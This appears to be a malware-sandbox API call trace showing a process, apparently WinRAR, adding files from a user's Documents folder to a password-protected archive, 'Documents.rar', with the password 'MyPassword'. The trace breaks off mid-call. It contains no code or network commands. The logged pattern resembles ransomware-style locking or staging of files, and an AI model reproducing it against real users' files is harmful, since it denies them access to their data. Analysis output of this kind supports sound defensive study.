1 [0083.038] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x1aafac [0083.038] CloseHandle (hObject=0x350) returned 1 [0083.038] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 1 [0083.038] GetMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0083.038] GetFocus () returned 0x1031c [0083.038] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd790) returned 1 [0083.038] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.038] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 1 [0083.038] GetMessageW (in: lpMsg=0x141a0dd830, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd830) returned 1 [0083.038] GetFocus () returned 0x1031c [0083.038] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd830) returned 1 [0083.039] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.039] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\K qThybav\\XCn-HpOwlmV9G3Gdf9O.ods", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0083.039] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0083.039] CreateFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\eSCikz2YIWaDp58m1bY\\NHc9hBVFvdQ5Z\\K qThybav\\XCn-HpOwlmV9G3Gdf9O.ods" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\escikz2yiwadp58m1by\\nhc9hbvfvdq5z\\k qthybav\\xcn-hpowlmv9g3gdf9o.ods"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0083.039] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fa30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0083.040] GetTickCount () returned 0x2a8f8 [0083.040] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0083.040] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0083.040] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0083.040] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0083.040] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="L_jtuZX b2fVSoNPf.docx") returned 22 [0083.040] SetWindowTextW (hWnd=0x10300, lpString="XCn-HpOwlmV9G3Gdf9O.ods") returned 1 [0083.040] GetTickCount () returned 0x2a8f8 [0083.040] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.040] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a74a0) returned 1 [0083.041] CryptGenRandom (in: hProv=0x116320a74a0, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0083.041] CryptReleaseContext (hProv=0x116320a74a0, dwFlags=0x0) returned 1 [0083.041] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x0, wMilliseconds=0x20a)) [0083.041] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0083.041] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17436970994) returned 1 [0083.041] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0x83af, lpOverlapped=0x0) returned 1 [0083.044] ReadFile (in: hFile=0x350, lpBuffer=0x11631b963ef, nNumberOfBytesToRead=0xf7c51, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b963ef*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0083.044] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.044] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.044] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079aa0 [0083.044] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f20 [0083.044] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079f20, Size=0x48) returned 0x1162e888ea0 [0083.044] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86dc30 [0083.044] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f20 [0083.044] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079f20, Size=0x48) returned 0x1162e888720 [0083.044] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86dc30 | out: hHeap=0x1162e7c0000) returned 1 [0083.044] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0083.044] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799e0 [0083.044] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f20 [0083.044] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079f20 | out: hHeap=0x1162e7c0000) returned 1 [0083.044] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x116320799e0 | out: hHeap=0x1162e7c0000) returned 1 [0083.044] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079aa0, Size=0x7a) returned 0x1163205e0c0 [0083.044] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163205e0c0, Size=0xb8) returned 0x1162e7f67c0 [0083.044] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888720 | out: hHeap=0x1162e7c0000) returned 1 [0083.044] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7f67c0 | out: hHeap=0x1162e7c0000) returned 1 [0083.047] GetTickCount () returned 0x2a907 [0083.047] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17437569162) returned 1 [0083.047] GetTickCount () returned 0x2a907 [0083.047] GetTickCount () returned 0x2a907 [0083.047] GetTickCount () returned 0x2a907 [0083.047] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.047] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.047] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.048] ResetEvent (hEvent=0x344) returned 1 [0083.048] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.049] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.049] ResetEvent (hEvent=0x344) returned 1 [0083.050] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.066] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.066] GetTickCount () returned 0x2a917 [0083.066] GetLastError () returned 0x0 [0083.067] SetLastError (dwErrCode=0x0) [0083.067] GetDlgItem (hDlg=0x102f8, nIDDlgItem=158) returned 0x10304 [0083.067] GetDlgItem (hDlg=0x102f8, nIDDlgItem=153) returned 0x10302 [0083.067] GetWindowTextW (in: hWnd=0x10302, lpString=0x141a0dbe80, nMaxCount=2560 | out: lpString=" 0%") returned 5 [0083.067] SetWindowTextW (hWnd=0x10302, lpString=" 100%") returned 1 [0083.067] SendMessageW (hWnd=0x10304, Msg=0x402, wParam=0x64, lParam=0x0) returned 0x0 [0083.067] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17439596112) returned 1 [0083.067] GetTickCount () returned 0x2a917 [0083.067] GetTickCount () returned 0x2a917 [0083.067] GetTickCount () returned 0x2a917 [0083.067] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0083.067] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0083.067] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.068] ResetEvent (hEvent=0x33c) returned 1 [0083.068] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.068] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0083.068] ResetEvent (hEvent=0x33c) returned 1 [0083.068] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=3, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.069] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0083.069] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0083.069] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.069] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x1aafac [0083.069] SetFilePointer (in: hFile=0x32c, lDistanceToMove=180, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x1ab060 [0083.069] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0083.069] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0083.069] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0083.069] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0083.069] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0083.069] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0x8440, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0x8440, lpOverlapped=0x0) returned 1 [0083.070] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0083.070] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.070] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1748908, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x1aafac [0083.070] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0d9c80*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0d9c80*=0) returned 0x1aafac [0083.070] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b90 [0083.070] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a0d0 [0083.070] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163207a0d0, Size=0x48) returned 0x1162e888720 [0083.070] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d9b0 [0083.070] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f20 [0083.070] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079f20, Size=0x48) returned 0x1162e888ea0 [0083.070] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d9b0 | out: hHeap=0x1162e7c0000) returned 1 [0083.070] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888720 | out: hHeap=0x1162e7c0000) returned 1 [0083.070] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x116320799e0 [0083.070] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079a10 [0083.070] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079a10 | out: hHeap=0x1162e7c0000) returned 1 [0083.070] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x116320799e0 | out: hHeap=0x1162e7c0000) returned 1 [0083.070] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079b90, Size=0x7a) returned 0x1163205dcd0 [0083.070] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1163205dcd0, Size=0xb8) returned 0x1162e7f5ec0 [0083.070] WriteFile (in: hFile=0x32c, lpBuffer=0x1162e7f5ec2*, nNumberOfBytesToWrite=0xb4, lpNumberOfBytesWritten=0x141a0d82c0, lpOverlapped=0x0 | out: lpBuffer=0x1162e7f5ec2*, lpNumberOfBytesWritten=0x141a0d82c0*=0xb4, lpOverlapped=0x0) returned 1 [0083.071] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079b90 [0083.071] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0xb4) returned 0x1162e7f70c0 [0083.071] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0083.071] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e7f5ec0 | out: hHeap=0x1162e7c0000) returned 1 [0083.071] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x141a0dd5a0*=0) returned 0x1b34a0 [0083.071] CloseHandle (hObject=0x350) returned 1 [0083.071] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.071] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.071] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.071] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.071] FindFirstFileW (in: lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\QrQLcl.csv", lpFindFileData=0x141a0dc660 | out: lpFindFileData=0x141a0dc660) returned 0x1163204d460 [0083.071] FindClose (in: hFindFile=0x1163204d460 | out: hFindFile=0x1163204d460) returned 1 [0083.071] CreateFileW (lpFileName="9EMbKuPh551l7_WJZv\\qfqeMqDF\\QrQLcl.csv" (normalized: "c:\\users\\fd1hvy\\documents\\9embkuph551l7_wjzv\\qfqemqdf\\qrqlcl.csv"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8000000, hTemplateFile=0x0) returned 0x350 [0083.071] LoadStringW (in: hInstance=0x7ff6f74d0000, uID=0x21c, lpBuffer=0x7ff6f764fe30, cchBufferMax=512 | out: lpBuffer="adding") returned 0x6 [0083.071] GetTickCount () returned 0x2a917 [0083.071] GetWindowTextW (in: hWnd=0x102f8, lpString=0x141a0dd4c0, nMaxCount=512 | out: lpString="Creating archive Documents.rar") returned 30 [0083.071] GetDlgItem (hDlg=0x102f8, nIDDlgItem=156) returned 0x102fe [0083.071] GetWindowTextW (in: hWnd=0x102fe, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="adding") returned 6 [0083.072] GetDlgItem (hDlg=0x102f8, nIDDlgItem=155) returned 0x10300 [0083.072] GetWindowTextW (in: hWnd=0x10300, lpString=0x141a0dc070, nMaxCount=2560 | out: lpString="XCn-HpOwlmV9G3Gdf9O.ods") returned 23 [0083.072] SetWindowTextW (hWnd=0x10300, lpString="QrQLcl.csv") returned 1 [0083.072] GetTickCount () returned 0x2a917 [0083.072] PeekMessageW (in: lpMsg=0x141a0dd8a0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd8a0) returned 0 [0083.072] CryptAcquireContextW (in: phProv=0x141a0dd850, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000040 | out: phProv=0x141a0dd850*=0x116320a74a0) returned 1 [0083.072] CryptGenRandom (in: hProv=0x116320a74a0, dwLen=0x10, pbBuffer=0x141a0dd8d0 | out: pbBuffer=0x141a0dd8d0) returned 1 [0083.072] CryptReleaseContext (hProv=0x116320a74a0, dwFlags=0x0) returned 1 [0083.072] GetSystemTime (in: lpSystemTime=0x141a0dd7e8 | out: lpSystemTime=0x141a0dd7e8*(wYear=0x7e3, wMonth=0x3, wDayOfWeek=0x0, wDay=0x1f, wHour=0x15, wMinute=0xe, wSecond=0x0, wMilliseconds=0x229)) [0083.072] SystemTimeToFileTime (in: lpSystemTime=0x141a0dd7e8, lpFileTime=0x141a0dd7e0 | out: lpFileTime=0x141a0dd7e0) returned 1 [0083.072] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd810 | out: lpPerformanceCount=0x141a0dd810*=17440109337) returned 1 [0083.073] ReadFile (in: hFile=0x350, lpBuffer=0x11631b8e040, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b8e040*, lpNumberOfBytesRead=0x141a0dd8f0*=0xd9f2, lpOverlapped=0x0) returned 1 [0083.074] ReadFile (in: hFile=0x350, lpBuffer=0x11631b9ba32, nNumberOfBytesToRead=0xf260e, lpNumberOfBytesRead=0x141a0dd8f0, lpOverlapped=0x0 | out: lpBuffer=0x11631b9ba32*, lpNumberOfBytesRead=0x141a0dd8f0*=0x0, lpOverlapped=0x0) returned 1 [0083.074] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 1 [0083.074] GetMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0083.075] GetFocus () returned 0x1031c [0083.075] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd790) returned 1 [0083.075] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.075] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f20 [0083.075] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.075] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079bc0, Size=0x48) returned 0x1162e888900 [0083.075] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x30) returned 0x1162e86d8f0 [0083.075] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079f80 [0083.075] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079f80, Size=0x48) returned 0x1162e888ea0 [0083.075] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e86d8f0 | out: hHeap=0x1162e7c0000) returned 1 [0083.075] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888900 | out: hHeap=0x1162e7c0000) returned 1 [0083.075] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x11632079bc0 [0083.075] RtlAllocateHeap (HeapHandle=0x1162e7c0000, Flags=0x0, Size=0x20) returned 0x1163207a0d0 [0083.075] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163207a0d0 | out: hHeap=0x1162e7c0000) returned 1 [0083.075] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x11632079bc0 | out: hHeap=0x1162e7c0000) returned 1 [0083.075] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x11632079f20, Size=0x48) returned 0x1162e889440 [0083.075] RtlReAllocateHeap (Heap=0x1162e7c0000, Flags=0x0, Ptr=0x1162e889440, Size=0x7d) returned 0x1163205dcd0 [0083.075] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1162e888ea0 | out: hHeap=0x1162e7c0000) returned 1 [0083.075] HeapFree (in: hHeap=0x1162e7c0000, dwFlags=0x0, lpMem=0x1163205dcd0 | out: hHeap=0x1162e7c0000) returned 1 [0083.076] GetTickCount () returned 0x2a927 [0083.076] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd730 | out: lpPerformanceCount=0x141a0dd730*=17440476526) returned 1 [0083.076] GetTickCount () returned 0x2a927 [0083.076] GetTickCount () returned 0x2a927 [0083.076] GetTickCount () returned 0x2a927 [0083.076] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 1 [0083.076] GetMessageW (in: lpMsg=0x141a0dd790, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0 | out: lpMsg=0x141a0dd790) returned 1 [0083.076] GetFocus () returned 0x1031c [0083.076] IsDialogMessageW (hDlg=0x102f8, lpMsg=0x141a0dd790) returned 1 [0083.077] PeekMessageW (in: lpMsg=0x141a0dd800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd800) returned 0 [0083.077] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.078] ResetEvent (hEvent=0x344) returned 1 [0083.078] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=2, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.081] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.081] ResetEvent (hEvent=0x344) returned 1 [0083.081] ReleaseSemaphore (in: hSemaphore=0x340, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.082] WaitForSingleObject (hHandle=0x344, dwMilliseconds=0xffffffff) returned 0x0 [0083.082] GetTickCount () returned 0x2a927 [0083.082] QueryPerformanceCounter (in: lpPerformanceCount=0x141a0dd700 | out: lpPerformanceCount=0x141a0dd700*=17441103127) returned 1 [0083.082] GetTickCount () returned 0x2a927 [0083.082] GetTickCount () returned 0x2a927 [0083.083] GetTickCount () returned 0x2a927 [0083.083] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0083.083] PeekMessageW (in: lpMsg=0x141a0dd7d0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd7d0) returned 0 [0083.083] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.083] ResetEvent (hEvent=0x33c) returned 1 [0083.083] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.083] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0083.084] ResetEvent (hEvent=0x33c) returned 1 [0083.084] ReleaseSemaphore (in: hSemaphore=0x338, lReleaseCount=4, lpPreviousCount=0x0 | out: lpPreviousCount=0x0) returned 1 [0083.084] WaitForSingleObject (hHandle=0x33c, dwMilliseconds=0xffffffff) returned 0x0 [0083.084] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0083.084] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.085] SetFilePointer (in: hFile=0x32c, lDistanceToMove=0, lpDistanceToMoveHigh=0x141a0dd5e0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5e0*=0) returned 0x1b34a0 [0083.085] SetFilePointer (in: hFile=0x32c, lDistanceToMove=122, lpDistanceToMoveHigh=0x141a0dd5b0*=0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x141a0dd5b0*=0) returned 0x1b351a [0083.085] CryptUnprotectMemory (in: pDataIn=0x141a0dd460, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dd460) returned 1 [0083.085] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="MyPassword", cchWideChar=-1, lpMultiByteStr=0x141a0dd3e0, cbMultiByte=128, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="MyPassword", lpUsedDefaultChar=0x0) returned 11 [0083.085] CryptUnprotectMemory (in: pDataIn=0x141a0dce40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dce40) returned 1 [0083.085] CryptUnprotectMemory (in: pDataIn=0x141a0dcf40, cbDataIn=0x100, dwFlags=0x0 | out: pDataIn=0x141a0dcf40) returned 1 [0083.085] CryptUnprotectMemory (in: pDataIn=0x141a0dd0c0, cbDataIn=0x20, dwFlags=0x0 | out: pDataIn=0x141a0dd0c0) returned 1 [0083.085] WriteFile (in: hFile=0x32c, lpBuffer=0x1163023fb20*, nNumberOfBytesToWrite=0xda80, lpNumberOfBytesWritten=0x141a0dd5e0, lpOverlapped=0x0 | out: lpBuffer=0x1163023fb20*, lpNumberOfBytesWritten=0x141a0dd5e0*=0xda80, lpOverlapped=0x0) returned 1 [0083.087] PeekMessageW (in: lpMsg=0x141a0dd550, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x0 | out: lpMsg=0x141a0dd550) returned 0 [0083.087] SetThreadExecutionState (esFlags=0x1) returned 0x80000000 [0083.087] SetFilePointer (in: hFile=0x32c, lDistanceToMove=1782944, lpDistanceToMoveHigh=0x141a0dd5a0*=0, dwMoveMethod=0x0 | out: 